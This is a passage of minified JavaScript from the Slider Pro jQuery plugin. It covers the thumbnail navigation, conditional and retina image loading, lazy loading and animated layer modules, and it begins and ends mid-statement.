a=document.createElement("div"),b={transition:"transitionend",WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd"};for(var c in b)if(c in a.style){this.transitionEvent=b[c];break}return this.transitionEvent},checkImagesComplete:function(a,b){var c=this,d=this.checkImagesStatus(a);if("loading"===d)var e=setInterval(function(){d=c.checkImagesStatus(a),"complete"===d&&(clearInterval(e),"function"==typeof b&&b())},100);else"function"==typeof b&&b();return d},checkImagesStatus:function(a){var c="complete";return a.is("img")&&a[0].complete===!1?c="loading":a.find("img").each(function(a){var d=b(this)[0];d.complete===!1&&(c="loading")}),c},checkIE:function(){if(null!==this.isIE)return this.isIE;var b=a.navigator.userAgent;b.indexOf("MSIE");return-1!==b.indexOf("MSIE")||b.match(/Trident.*rv\:11\./)?this.isIE=!0:this.isIE=!1,this.isIE}};a.SliderProUtils=f}(window,jQuery),function(a,b){"use strict";var c="Thumbnails."+b.SliderPro.namespace,d={$thumbnails:null,$thumbnailsContainer:null,thumbnails:null,selectedThumbnailIndex:0,thumbnailsSize:0,thumbnailsContainerSize:0,thumbnailsPosition:0,thumbnailsOrientation:null,thumbnailsPositionProperty:null,isThumbnailScroller:!1,initThumbnails:function(){var a=this;this.thumbnails=[],this.on("update."+c,b.proxy(this._thumbnailsOnUpdate,this)),this.on("sliderResize."+c,b.proxy(this._thumbnailsOnResize,this)),this.on("gotoSlide."+c,function(b){a._gotoThumbnail(b.index)})},_thumbnailsOnUpdate:function(){var a=this;if(0===this.$slider.find(".sp-thumbnail").length&&0===this.thumbnails.length)return void(this.isThumbnailScroller=!1);if(this.isThumbnailScroller=!0,null===this.$thumbnailsContainer&&(this.$thumbnailsContainer=b('<div class="sp-thumbnails-container"></div>').insertAfter(this.$slidesContainer)),null===this.$thumbnails)if(0!==this.$slider.find(".sp-thumbnails").length){if(this.$thumbnails=this.$slider.find(".sp-thumbnails").appendTo(this.$thumbnailsContainer),this.settings.shuffle===!0){var c=this.$thumbnails.find(".sp-thumbnail"),d=[];b.each(this.shuffledIndexes,function(a,e){var f=b(c[e]);0!==f.parent("a").length&&(f=f.parent("a")),d.push(f)}),this.$thumbnails.empty().append(d)}}else this.$thumbnails=b('<div class="sp-thumbnails"></div>').appendTo(this.$thumbnailsContainer);this.$slides.find(".sp-thumbnail").each(function(c){var d=b(this),e=d.parents(".sp-slide").index(),f=a.$thumbnails.find(".sp-thumbnail").length-1;0!==d.parent("a").length&&(d=d.parent("a")),e>f?d.appendTo(a.$thumbnails):d.insertBefore(a.$thumbnails.find(".sp-thumbnail").eq(e))});for(var e=this.thumbnails.length-1;e>=0;e--)if(0===this.$thumbnails.find('.sp-thumbnail[data-index="'+e+'"]').length){var f=this.thumbnails[e];f.destroy(),this.thumbnails.splice(e,1)}this.$thumbnails.find(".sp-thumbnail").each(function(c){var d=b(this);"undefined"==typeof d.attr("data-init")?a._createThumbnail(d,c):a.thumbnails[c].setIndex(c)}),this.$thumbnailsContainer.removeClass("sp-top-thumbnails sp-bottom-thumbnails sp-left-thumbnails sp-right-thumbnails"),"top"===this.settings.thumbnailsPosition?(this.$thumbnailsContainer.addClass("sp-top-thumbnails"),this.thumbnailsOrientation="horizontal"):"bottom"===this.settings.thumbnailsPosition?(this.$thumbnailsContainer.addClass("sp-bottom-thumbnails"),this.thumbnailsOrientation="horizontal"):"left"===this.settings.thumbnailsPosition?(this.$thumbnailsContainer.addClass("sp-left-thumbnails"),this.thumbnailsOrientation="vertical"):"right"===this.settings.thumbnailsPosition&&(this.$thumbnailsContainer.addClass("sp-right-thumbnails"),this.thumbnailsOrientation="vertical"),this.settings.thumbnailPointer===!0?this.$thumbnailsContainer.addClass("sp-has-pointer"):this.$thumbnailsContainer.removeClass("sp-has-pointer"),this.selectedThumbnailIndex=this.selectedSlideIndex,this.$thumbnails.find(".sp-thumbnail-container").eq(this.selectedThumbnailIndex).addClass("sp-selected-thumbnail"),this.thumbnailsSize=0,b.each(this.thumbnails,function(b,c){c.setSize(a.settings.thumbnailWidth,a.settings.thumbnailHeight),a.thumbnailsSize+="horizontal"===a.thumbnailsOrientation?c.getSize().width:c.getSize().height}),"horizontal"===this.thumbnailsOrientation?(this.$thumbnails.css({width:this.thumbnailsSize,height:this.settings.thumbnailHeight}),this.$thumbnailsContainer.css("height",""),this.thumbnailsPositionProperty="left"):(this.$thumbnails.css({width:this.settings.thumbnailWidth,height:this.thumbnailsSize}),this.$thumbnailsContainer.css("width",""),this.thumbnailsPositionProperty="top"),this.trigger({type:"thumbnailsUpdate"}),b.isFunction(this.settings.thumbnailsUpdate)&&this.settings.thumbnailsUpdate.call(this,{type:"thumbnailsUpdate"})},_createThumbnail:function(a,b){var d=this,f=new e(a,this.$thumbnails,b);f.on("thumbnailClick."+c,function(a){d.gotoSlide(a.index)}),this.thumbnails.splice(b,0,f)},_thumbnailsOnResize:function(){if(this.isThumbnailScroller!==!1){var c;"horizontal"===this.thumbnailsOrientation?(this.thumbnailsContainerSize=Math.min(this.$slidesMask.width(),this.thumbnailsSize),this.$thumbnailsContainer.css("width",this.thumbnailsContainerSize),"fullWindow"===this.settings.forceSize&&(this.$slidesMask.css("height",this.$slidesMask.height()-this.$thumbnailsContainer.outerHeight(!0)),this.slideHeight=this.$slidesMask.height(),this._resizeSlides(),this._resetSlidesPosition())):"vertical"===this.thumbnailsOrientation&&(this.$slidesMask.width()+this.$thumbnailsContainer.outerWidth(!0)>this.$slider.parent().width()&&("fullWidth"===this.settings.forceSize||"fullWindow"===this.settings.forceSize?this.$slider.css("max-width",b(a).width()-this.$thumbnailsContainer.outerWidth(!0)):this.$slider.css("max-width",this.$slider.parent().width()-this.$thumbnailsContainer.outerWidth(!0)),this.$slidesMask.css("width",this.$slider.width()),"vertical"===this.settings.orientation&&(this.slideWidth=this.$slider.width(),this._resizeSlides()),this._resetSlidesPosition()),this.thumbnailsContainerSize=Math.min(this.$slidesMask.height(),this.thumbnailsSize),this.$thumbnailsContainer.css("height",this.thumbnailsContainerSize)),c=this.thumbnailsSize<=this.thumbnailsContainerSize||0===this.$thumbnails.find(".sp-selected-thumbnail").length?0:Math.max(-this.thumbnails[this.selectedThumbnailIndex].getPosition()[this.thumbnailsPositionProperty],this.thumbnailsContainerSize-this.thumbnailsSize),"top"===this.settings.thumbnailsPosition?this.$slider.css({paddingTop:this.$thumbnailsContainer.outerHeight(!0),paddingLeft:"",paddingRight:""}):"bottom"===this.settings.thumbnailsPosition?this.$slider.css({paddingTop:"",paddingLeft:"",paddingRight:""}):"left"===this.settings.thumbnailsPosition?this.$slider.css({paddingTop:"",paddingLeft:this.$thumbnailsContainer.outerWidth(!0),paddingRight:""}):"right"===this.settings.thumbnailsPosition&&this.$slider.css({paddingTop:"",paddingLeft:"",paddingRight:this.$thumbnailsContainer.outerWidth(!0)}),this._moveThumbnailsTo(c,!0)}},_gotoThumbnail:function(a){if(this.isThumbnailScroller!==!1&&"undefined"!=typeof this.thumbnails[a]){var c=this.selectedThumbnailIndex,d=this.thumbnailsPosition;if(this.selectedThumbnailIndex=a,this.$thumbnails.find(".sp-selected-thumbnail").removeClass("sp-selected-thumbnail"),this.$thumbnails.find(".sp-thumbnail-container").eq(this.selectedThumbnailIndex).addClass("sp-selected-thumbnail"),this.settings.rightToLeft===!0&&"horizontal"===this.thumbnailsOrientation){if(this.selectedThumbnailIndex>=c){
var e=this.selectedThumbnailIndex===this.thumbnails.length-1?this.selectedThumbnailIndex:this.selectedThumbnailIndex+1,f=this.thumbnails[e];f.getPosition().left<-this.thumbnailsPosition&&(d=-f.getPosition().left)}else if(this.selectedThumbnailIndex<c){var g=0===this.selectedThumbnailIndex?this.selectedThumbnailIndex:this.selectedThumbnailIndex-1,h=this.thumbnails[g],i=-this.thumbnailsPosition+this.thumbnailsContainerSize;h.getPosition().right>i&&(d=this.thumbnailsPosition-(h.getPosition().right-i))}}else if(this.selectedThumbnailIndex>=c){var j=this.selectedThumbnailIndex===this.thumbnails.length-1?this.selectedThumbnailIndex:this.selectedThumbnailIndex+1,k=this.thumbnails[j],l="horizontal"===this.thumbnailsOrientation?k.getPosition().right:k.getPosition().bottom,m=-this.thumbnailsPosition+this.thumbnailsContainerSize;l>m&&(d=this.thumbnailsPosition-(l-m))}else if(this.selectedThumbnailIndex<c){var n=0===this.selectedThumbnailIndex?this.selectedThumbnailIndex:this.selectedThumbnailIndex-1,o=this.thumbnails[n],p="horizontal"===this.thumbnailsOrientation?o.getPosition().left:o.getPosition().top;p<-this.thumbnailsPosition&&(d=-p)}this._moveThumbnailsTo(d),this.trigger({type:"gotoThumbnail"}),b.isFunction(this.settings.gotoThumbnail)&&this.settings.gotoThumbnail.call(this,{type:"gotoThumbnail"})}},_moveThumbnailsTo:function(a,c,d){var e=this,f={};if(a!==this.thumbnailsPosition)if(this.thumbnailsPosition=a,"css-3d"===this.supportedAnimation||"css-2d"===this.supportedAnimation){var g,h="horizontal"===this.thumbnailsOrientation?a:0,i="horizontal"===this.thumbnailsOrientation?0:a;"css-3d"===this.supportedAnimation?f[this.vendorPrefix+"transform"]="translate3d("+h+"px, "+i+"px, 0)":f[this.vendorPrefix+"transform"]="translate("+h+"px, "+i+"px)","undefined"!=typeof c&&c===!0?g="":(this.$thumbnails.addClass("sp-animated"),g=this.vendorPrefix+"transform 0.7s",this.$thumbnails.on(this.transitionEvent,function(a){a.target===a.currentTarget&&(e.$thumbnails.off(e.transitionEvent),e.$thumbnails.removeClass("sp-animated"),"function"==typeof d&&d(),e.trigger({type:"thumbnailsMoveComplete"}),b.isFunction(e.settings.thumbnailsMoveComplete)&&e.settings.thumbnailsMoveComplete.call(e,{type:"thumbnailsMoveComplete"}))})),f[this.vendorPrefix+"transition"]=g,this.$thumbnails.css(f)}else f["margin-"+this.thumbnailsPositionProperty]=a,"undefined"!=typeof c&&c===!0?this.$thumbnails.css(f):this.$thumbnails.addClass("sp-animated").animate(f,700,function(){e.$thumbnails.removeClass("sp-animated"),"function"==typeof d&&d(),e.trigger({type:"thumbnailsMoveComplete"}),b.isFunction(e.settings.thumbnailsMoveComplete)&&e.settings.thumbnailsMoveComplete.call(e,{type:"thumbnailsMoveComplete"})})},_stopThumbnailsMovement:function(){var a={};if("css-3d"===this.supportedAnimation||"css-2d"===this.supportedAnimation){var b=this.$thumbnails.css(this.vendorPrefix+"transform"),c=-1!==b.indexOf("matrix3d")?"matrix3d":"matrix",d=b.replace(c,"").match(/-?[0-9\.]+/g),e="matrix3d"===c?parseInt(d[12],10):parseInt(d[4],10),f="matrix3d"===c?parseInt(d[13],10):parseInt(d[5],10);"css-3d"===this.supportedAnimation?a[this.vendorPrefix+"transform"]="translate3d("+e+"px, "+f+"px, 0)":a[this.vendorPrefix+"transform"]="translate("+e+"px, "+f+"px)",a[this.vendorPrefix+"transition"]="",this.$thumbnails.css(a),this.$thumbnails.off(this.transitionEvent),this.thumbnailsPosition="horizontal"===this.thumbnailsOrientation?parseInt(d[4],10):parseInt(d[5],10)}else this.$thumbnails.stop(),this.thumbnailsPosition=parseInt(this.$thumbnails.css("margin-"+this.thumbnailsPositionProperty),10);this.$thumbnails.removeClass("sp-animated")},destroyThumbnails:function(){var d=this;this.off("update."+c),this.isThumbnailScroller!==!1&&(this.off("sliderResize."+c),this.off("gotoSlide."+c),b(a).off("resize."+this.uniqueId+"."+c),this.$thumbnails.find(".sp-thumbnail").each(function(){var a=b(this),e=parseInt(a.attr("data-index"),10),f=d.thumbnails[e];f.off("thumbnailClick."+c),f.destroy()}),this.thumbnails.length=0,this.$thumbnails.appendTo(this.$slider),this.$thumbnailsContainer.remove(),this.$slider.css({paddingTop:"",paddingLeft:"",paddingRight:""}))},thumbnailsDefaults:{thumbnailWidth:100,thumbnailHeight:80,thumbnailsPosition:"bottom",thumbnailPointer:!1,thumbnailsUpdate:function(){},gotoThumbnail:function(){},thumbnailsMoveComplete:function(){}}},e=function(a,b,c){this.$thumbnail=a,this.$thumbnails=b,this.$thumbnailContainer=null,this.width=0,this.height=0,this.isImageLoaded=!1,this.setIndex(c),this._init()};e.prototype={_init:function(){var a=this;this.$thumbnail.attr("data-init",!0),this.$thumbnailContainer=b('<div class="sp-thumbnail-container"></div>').appendTo(this.$thumbnails),0!==this.$thumbnail.parent("a").length?this.$thumbnail.parent("a").appendTo(this.$thumbnailContainer):this.$thumbnail.appendTo(this.$thumbnailContainer),this.$thumbnailContainer.on("click."+c,function(){a.trigger({type:"thumbnailClick."+c,index:a.index})})},setSize:function(a,b){this.width=a,this.height=b,this.$thumbnailContainer.css({width:this.width,height:this.height}),this.$thumbnail.is("img")&&"undefined"==typeof this.$thumbnail.attr("data-src")&&this.resizeImage()},getSize:function(){return{width:this.$thumbnailContainer.outerWidth(!0),height:this.$thumbnailContainer.outerHeight(!0)}},getPosition:function(){return{left:this.$thumbnailContainer.position().left+parseInt(this.$thumbnailContainer.css("marginLeft"),10),right:this.$thumbnailContainer.position().left+parseInt(this.$thumbnailContainer.css("marginLeft"),10)+this.$thumbnailContainer.outerWidth(),top:this.$thumbnailContainer.position().top+parseInt(this.$thumbnailContainer.css("marginTop"),10),bottom:this.$thumbnailContainer.position().top+parseInt(this.$thumbnailContainer.css("marginTop"),10)+this.$thumbnailContainer.outerHeight()}},setIndex:function(a){this.index=a,this.$thumbnail.attr("data-index",this.index)},resizeImage:function(){var a=this;if(this.isImageLoaded===!1)return void SliderProUtils.checkImagesComplete(this.$thumbnailContainer,function(){a.isImageLoaded=!0,a.resizeImage()});this.$thumbnail=this.$thumbnailContainer.find(".sp-thumbnail");var b=this.$thumbnail.width(),c=this.$thumbnail.height();b/c<=this.width/this.height?this.$thumbnail.css({width:"100%",height:"auto"}):this.$thumbnail.css({width:"auto",height:"100%"}),this.$thumbnail.css({marginLeft:.5*(this.$thumbnailContainer.width()-this.$thumbnail.width()),marginTop:.5*(this.$thumbnailContainer.height()-this.$thumbnail.height())})},destroy:function(){this.$thumbnailContainer.off("click."+c),this.$thumbnail.removeAttr("data-init"),this.$thumbnail.removeAttr("data-index"),0!==this.$thumbnail.parent("a").length?this.$thumbnail.parent("a").insertBefore(this.$thumbnailContainer):this.$thumbnail.insertBefore(this.$thumbnailContainer),this.$thumbnailContainer.remove()},on:function(a,b){return this.$thumbnailContainer.on(a,b)},off:function(a){return this.$thumbnailContainer.off(a)},trigger:function(a){return this.$thumbnailContainer.triggerHandler(a)}},b.SliderPro.addModule("Thumbnails",d)}(window,jQuery),function(a,b){"use strict";var c="ConditionalImages."+b.SliderPro.namespace,d={previousImageSize:null,currentImageSize:null,isRetinaScreen:!1,initConditionalImages:function(){this.currentImageSize=this.previousImageSize="default",this.isRetinaScreen="undefined"!=typeof this._isRetina&&this._isRetina()===!0,this.on("update."+c,b.proxy(this._conditionalImagesOnUpdate,this)),this.on("sliderResize."+c,b.proxy(this._conditionalImagesOnResize,this))},_conditionalImagesOnUpdate:function(){b.each(this.slides,function(a,c){var d=c.$slide;d.find("img:not([ data-default ])").each(function(){var a=b(this);"undefined"!=typeof a.attr("data-src")?a.attr("data-default",a.attr("data-src")):a.attr("data-default",a.attr("src"))})})},_conditionalImagesOnResize:function(){if(this.slideWidth<=this.settings.smallSize?this.currentImageSize="small":this.slideWidth<=this.settings.mediumSize?this.currentImageSize="medium":this.slideWidth<=this.settings.largeSize?this.currentImageSize="large":this.currentImageSize="default",this.previousImageSize!==this.currentImageSize){var a=this;b.each(this.slides,function(c,d){var e=d.$slide;e.find("img").each(function(){var c=b(this),e="";a.isRetinaScreen===!0&&"undefined"!=typeof c.attr("data-retina"+a.currentImageSize)?(e=c.attr("data-retina"+a.currentImageSize),"undefined"!=typeof c.attr("data-retina")&&c.attr("data-retina")!==e&&c.attr("data-retina",e)):(a.isRetinaScreen===!1||a.isRetinaScreen===!0&&"undefined"==typeof c.attr("data-retina"))&&"undefined"!=typeof c.attr("data-"+a.currentImageSize)&&(e=c.attr("data-"+a.currentImageSize),"undefined"!=typeof c.attr("data-src")&&c.attr("data-src")!==e&&c.attr("data-src",e)),""!==e&&"undefined"==typeof c.attr("data-src")&&c.attr("src")!==e&&a._loadConditionalImage(c,e,function(a){a.hasClass("sp-image")&&(d.$mainImage=a,d.resizeMainImage(!0))})})}),this.previousImageSize=this.currentImageSize}},_loadConditionalImage:function(a,c,d){var e=b(new Image);e.attr("class",a.attr("class")),e.attr("style",a.attr("style")),b.each(a.data(),function(a,b){e.attr("data-"+a,b)}),"undefined"!=typeof a.attr("width")&&e.attr("width",a.attr("width")),"undefined"!=typeof a.attr("height")&&e.attr("height",a.attr("height")),"undefined"!=typeof a.attr("alt")&&e.attr("alt",a.attr("alt")),"undefined"!=typeof a.attr("title")&&e.attr("title",a.attr("title")),e.attr("src",c),e.insertAfter(a),a.remove(),a=null,"function"==typeof d&&d(e)},destroyConditionalImages:function(){this.off("update."+c),this.off("sliderResize."+c)},conditionalImagesDefaults:{smallSize:480,mediumSize:768,largeSize:1024}};b.SliderPro.addModule("ConditionalImages",d)}(window,jQuery),function(a,b){"use strict";var c="Retina."+b.SliderPro.namespace,d={initRetina:function(){this._isRetina()!==!1&&(this.on("sliderResize."+c,b.proxy(this._checkRetinaImages,this)),0!==this.$slider.find(".sp-thumbnail").length&&this.on("update.Thumbnails."+c,b.proxy(this._checkRetinaThumbnailImages,this)))},_isRetina:function(){return a.devicePixelRatio>=2?!0:a.matchMedia&&a.matchMedia("(-webkit-min-device-pixel-ratio: 2),(min-resolution: 2dppx)").matches?!0:!1},_checkRetinaImages:function(){var a=this;b.each(this.slides,function(c,d){var e=d.$slide;"undefined"==typeof e.attr("data-retina-loaded")&&(e.attr("data-retina-loaded",!0),e.find("img[data-retina]").each(function(){var c=b(this);"undefined"!=typeof c.attr("data-src")?c.attr("data-src",c.attr("data-retina")):a._loadRetinaImage(c,function(a){a.hasClass("sp-image")&&(d.$mainImage=a,d.resizeMainImage(!0))})}))})},_checkRetinaThumbnailImages:function(){var a=this;b.each(this.thumbnails,function(c,d){var e=d.$thumbnailContainer;"undefined"==typeof e.attr("data-retina-loaded")&&(e.attr("data-retina-loaded",!0),e.find("img[data-retina]").each(function(){var c=b(this);"undefined"!=typeof c.attr("data-src")?c.attr("data-src",c.attr("data-retina")):a._loadRetinaImage(c,function(a){a.hasClass("sp-thumbnail")&&d.resizeImage()})}))})},_loadRetinaImage:function(a,c){var d=!1,e="";if("undefined"!=typeof a.attr("data-retina")&&(d=!0,e=a.attr("data-retina")),"undefined"!=typeof a.attr("data-src")&&(d===!1&&(e=a.attr("data-src")),a.removeAttr("data-src")),""!==e){var f=b(new Image);f.attr("class",a.attr("class")),f.attr("style",a.attr("style")),b.each(a.data(),function(a,b){f.attr("data-"+a,b)}),"undefined"!=typeof a.attr("width")&&f.attr("width",a.attr("width")),"undefined"!=typeof a.attr("height")&&f.attr("height",a.attr("height")),"undefined"!=typeof a.attr("alt")&&f.attr("alt",a.attr("alt")),"undefined"!=typeof a.attr("title")&&f.attr("title",a.attr("title")),f.insertAfter(a),a.remove(),a=null,f.attr("src",e),"function"==typeof c&&c(f)}},destroyRetina:function(){this.off("update."+c),this.off("update.Thumbnails."+c)}};b.SliderPro.addModule("Retina",d)}(window,jQuery),function(a,b){"use strict";var c="LazyLoading."+b.SliderPro.namespace,d={allowLazyLoadingCheck:!0,initLazyLoading:function(){this.on("sliderResize."+c,b.proxy(this._lazyLoadingOnResize,this)),this.on("gotoSlide."+c,b.proxy(this._checkAndLoadVisibleImages,this)),this.on("thumbnailsUpdate."+c+" thumbnailsMoveComplete."+c,b.proxy(this._checkAndLoadVisibleThumbnailImages,this))},_lazyLoadingOnResize:function(){var a=this;this.allowLazyLoadingCheck!==!1&&(this.allowLazyLoadingCheck=!1,this._checkAndLoadVisibleImages(),0!==this.$slider.find(".sp-thumbnail").length&&this._checkAndLoadVisibleThumbnailImages(),setTimeout(function(){a.allowLazyLoadingCheck=!0},500))},_checkAndLoadVisibleImages:function(){if(0!==this.$slider.find(".sp-slide:not([ data-loaded ])").length){var a=this,c=this.settings.loop===!0?this.middleSlidePosition:this.selectedSlideIndex,d=Math.ceil((parseInt(this.$slidesMask.css(this.sizeProperty),10)-this.averageSlideSize)/2/this.averageSlideSize),e=this.settings.centerSelectedSlide===!0?Math.max(c-d-1,0):Math.max(c-1,0),f=this.settings.centerSelectedSlide===!0?Math.min(c+d+1,this.getTotalSlides()-1):Math.min(c+2*d+1,this.getTotalSlides()-1),g=this.slidesOrder.slice(e,f+1);b.each(g,function(c,d){var e=a.slides[d],f=e.$slide;"undefined"==typeof f.attr("data-loaded")&&(f.attr("data-loaded",!0),f.find("img[ data-src ]").each(function(){var c=b(this);a._loadImage(c,function(a){a.hasClass("sp-image")&&(e.$mainImage=a,e.resizeMainImage(!0))})}))})}},_checkAndLoadVisibleThumbnailImages:function(){if(0!==this.$slider.find(".sp-thumbnail-container:not([ data-loaded ])").length){var a=this,c=this.thumbnailsSize/this.thumbnails.length,d=Math.floor(Math.abs(this.thumbnailsPosition/c)),e=Math.floor((-this.thumbnailsPosition+this.thumbnailsContainerSize)/c),f=this.thumbnails.slice(d,e+1);b.each(f,function(c,d){var e=d.$thumbnailContainer;"undefined"==typeof e.attr("data-loaded")&&(e.attr("data-loaded",!0),e.find("img[ data-src ]").each(function(){var c=b(this);a._loadImage(c,function(){d.resizeImage()})}))})}},_loadImage:function(a,c){var d=b(new Image);d.attr("class",a.attr("class")),d.attr("style",a.attr("style")),b.each(a.data(),function(a,b){d.attr("data-"+a,b)}),"undefined"!=typeof a.attr("width")&&d.attr("width",a.attr("width")),"undefined"!=typeof a.attr("height")&&d.attr("height",a.attr("height")),"undefined"!=typeof a.attr("alt")&&d.attr("alt",a.attr("alt")),"undefined"!=typeof a.attr("title")&&d.attr("title",a.attr("title")),d.attr("src",a.attr("data-src")),d.removeAttr("data-src"),d.insertAfter(a),a.remove(),a=null,"function"==typeof c&&c(d)},destroyLazyLoading:function(){this.off("update."+c),this.off("gotoSlide."+c),this.off("sliderResize."+c),this.off("thumbnailsUpdate."+c),this.off("thumbnailsMoveComplete."+c)}};b.SliderPro.addModule("LazyLoading",d)}(window,jQuery),function(a,b){"use strict";var c="Layers."+b.SliderPro.namespace,d={layersGotoSlideReference:null,waitForLayersTimer:null,initLayers:function(){this.on("update."+c,b.proxy(this._layersOnUpdate,this)),this.on("sliderResize."+c,b.proxy(this._layersOnResize,this)),this.on("gotoSlide."+c,b.proxy(this._layersOnGotoSlide,this))},_layersOnUpdate:function(a){var c=this;b.each(this.slides,function(a,c){c.$slide;this.$slide.find(".sp-layer:not([ data-layer-init ])").each(function(){var a=new f(b(this));"undefined"==typeof c.layers&&(c.layers=[]),c.layers.push(a),b(this).hasClass("sp-static")===!1&&("undefined"==typeof c.animatedLayers&&(c.animatedLayers=[]),c.animatedLayers.push(a))})}),this.settings.waitForLayers===!0&&(clearTimeout(this.waitForLayersTimer),this.waitForLayersTimer=setTimeout(function(){c.layersGotoSlideReference=c.gotoSlide,c.gotoSlide=c._layersGotoSlide},1)),setTimeout(function(){c.showLayers(c.selectedSlideIndex)},1)},_layersOnResize:function(){var a,c,d=this,e=this.settings.autoScaleLayers;this.settings.autoScaleLayers!==!1&&(-1===this.settings.autoScaleReference?"string"==typeof this.settings.width&&-1!==this.settings.width.indexOf("%")?e=!1:a=parseInt(this.settings.width,10):a=this.settings.autoScaleReference,c=e===!0&&this.slideWidth<a?d.slideWidth/a:1,b.each(this.slides,function(a,d){"undefined"!=typeof d.layers&&b.each(d.layers,function(a,b){b.scale(c)})}))},_layersGotoSlide:function(a){var b=this,d=this.slides[this.selectedSlideIndex].animatedLayers;this.$slider.hasClass("sp-swiping")||"undefined"==typeof d||0===d.length?this.layersGotoSlideReference(a):(this.on("hideLayersComplete."+c,function(){b.off("hideLayersComplete."+c),b.layersGotoSlideReference(a)}),this.hideLayers(this.selectedSlideIndex))},_layersOnGotoSlide:function(a){this.previousSlideIndex!==this.selectedSlideIndex&&this.hideLayers(this.previousSlideIndex),this.showLayers(this.selectedSlideIndex)},showLayers:function(a){var c=this,d=this.slides[a].animatedLayers,e=0;"undefined"!=typeof d&&b.each(d,function(a,f){f.isVisible()===!0?(e++,e===d.length&&(c.trigger({type:"showLayersComplete",index:a}),b.isFunction(c.settings.showLayersComplete)&&c.settings.showLayersComplete.call(c,{type:"showLayersComplete",index:a}))):f.show(function(){e++,e===d.length&&(c.trigger({type:"showLayersComplete",index:a}),b.isFunction(c.settings.showLayersComplete)&&c.settings.showLayersComplete.call(c,{type:"showLayersComplete",index:a}))})})},hideLayers:function(a){var c=this,d=this.slides[a].animatedLayers,e=0;"undefined"!=typeof d&&b.each(d,function(a,f){f.isVisible()===!1?(e++,e===d.length&&(c.trigger({type:"hideLayersComplete",index:a}),b.isFunction(c.settings.hideLayersComplete)&&c.settings.hideLayersComplete.call(c,{type:"hideLayersComplete",index:a}))):f.hide(function(){e++,e===d.length&&(c.trigger({type:"hideLayersComplete",index:a}),b.isFunction(c.settings.hideLayersComplete)&&c.settings.hideLayersComplete.call(c,{type:"hideLayersComplete",index:a}))})})},destroyLayers:function(){this.off("update."+c),this.off("sliderResize."+c),this.off("gotoSlide."+c),this.off("hideLayersComplete."+c)},layersDefaults:{waitForLayers:!1,autoScaleLayers:!0,autoScaleReference:-1,showLayersComplete:function(){},hideLayersComplete:function(){}}},e=a.SliderProSlide.prototype.destroy;a.SliderProSlide.prototype.destroy=function(){"undefined"!=typeof this.layers&&(b.each(this.layers,function(a,b){b.destroy()}),this.layers.length=0),"undefined"!=typeof this.animatedLayers&&(this.animatedLayers.length=0),e.apply(this)};var f=function(a){this.$layer=a,this.visible=!1,this.styled=!1,this.data=null,this.position=null,this.horizontalProperty=null,this.verticalProperty=null,this.horizontalPosition=null,this.verticalPosition=null,this.scaleRatio=1,this.supportedAnimation=SliderProUtils.getSupportedAnimation(),this.vendorPrefix=SliderProUtils.getVendorPrefix(),this.transitionEvent=SliderProUtils.getTransitionEvent(),this.delayTimer=null,this.stayTimer=null,this._init()};f.prototype={_init:function(){this.$layer.attr("data-layer-init",!0),this.$layer.hasClass("sp-static")?this._setStyle():this.$layer.css({visibility:"hidden"})},_setStyle:function(){this.styled=!0,this.data=this.$layer.data(),"undefined"!=typeof this.data.width&&this.$layer.css("width",this.data.width),"undefined"!=typeof this.data.height&&this.$layer.css("height",this.data.height),"undefined"!=typeof this.data.depth&&this.$layer.css("z-index",this.data.depth),this.position=this.data.position?this.data.position.toLowerCase():"topleft",-1!==this.position.indexOf("right")?this.horizontalProperty="right":-1!==this.position.indexOf("left")?this.horizontalProperty="left":this.horizontalProperty="center",-1!==this.position.indexOf("bottom")?this.verticalProperty="bottom":-1!==this.position.indexOf("top")?this.verticalProperty="top":this.verticalProperty="center",this._setPosition(),this.scale(this.scaleRatio)},_setPosition:function(){var a=this.$layer.attr("style");this.horizontalPosition="undefined"!=typeof this.data.horizontal?this.data.horizontal:0,this.verticalPosition="undefined"!=typeof this.data.vertical?this.data.vertical:0,"center"===this.horizontalProperty?(this.$layer.is("img")===!1&&("undefined"==typeof a||"undefined"!=typeof a&&-1===a.indexOf("width"))&&(this.$layer.css("white-space","nowrap"),this.$layer.css("width",this.$layer.outerWidth(!0))),this.$layer.css({marginLeft:"auto",marginRight:"auto",left:this.horizontalPosition,right:0})):this.$layer.css(this.horizontalProperty,this.horizontalPosition),"center"===this.verticalProperty?(this.$layer.is("img")===!1&&("undefined"==typeof a||"undefined"!=typeof a&&-1===a.indexOf("height"))&&(this.$layer.css("white-space","nowrap"),this.$layer.css("height",this.$layer.outerHeight(!0))),this.$layer.css({marginTop:"auto",marginBottom:"auto",top:this.verticalPosition,bottom:0})):this.$layer.css(this.verticalProperty,this.verticalPosition)},scale:function(a){if(!this.$layer.hasClass("sp-no-scale")&&(this.scaleRatio=a,this.styled!==!1)){var b="center"===this.horizontalProperty?"left":this.horizontalProperty,c="center"===this.verticalProperty?"top":this.verticalProperty,d={};d[this.vendorPrefix+"transform-origin"]=this.horizontalProperty+" "+this.verticalProperty,d[this.vendorPrefix+"transform"]="scale("+this.scaleRatio+")","string"!=typeof this.horizontalPosition&&(d[b]=this.horizontalPosition*this.scaleRatio),"string"!=typeof this.verticalPosition&&(d[c]=this.verticalPosition*this.scaleRatio),"string"==typeof this.data.width&&-1!==this.data.width.indexOf("%")&&(d.width=(parseInt(this.data.width,10)/this.scaleRatio).toString()+"%"),"string"==typeof this.data.height&&-1!==this.data.height.indexOf("%")&&(d.height=(parseInt(this.data.height,10)/this.scaleRatio).toString()+"%"),this.$layer.css(d)}},show:function(a){if(this.visible!==!0){this.visible=!0,this.styled===!1&&this._setStyle();var b=this,c="undefined"!=typeof this.data.showOffset?this.data.showOffset:50,d="undefined"!=typeof this.data.showDuration?this.data.showDuration/1e3:.4,e="undefined"!=typeof this.data.showDelay?this.data.showDelay:10,f="undefined"!=typeof b.data.stayDuration?parseInt(b.data.stayDuration,10):-1;if("javascript"===this.supportedAnimation)this.$layer.stop().delay(e).css({opacity:0,visibility:"visible"}).animate({opacity:1},1e3*d,function(){-1!==f&&(b.stayTimer=setTimeout(function(){b.hide(),b.stayTimer=null},f)),"undefined"!=typeof a&&a()});else{var g={opacity:0,visibility:"visible"},h={opacity:1},i="";g[this.vendorPrefix+"transform"]="scale("+this.scaleRatio+")",h[this.vendorPrefix+"transform"]="scale("+this.scaleRatio+")",h[this.vendorPrefix+"transition"]="opacity "+d+"s","undefined"!=typeof this.data.showTransition&&("left"===this.data.showTransition?i=c+"px, 0":"right"===this.data.showTransition?i="-"+c+"px, 0":"up"===this.data.showTransition?i="0, "+c+"px":"down"===this.data.showTransition&&(i="0, 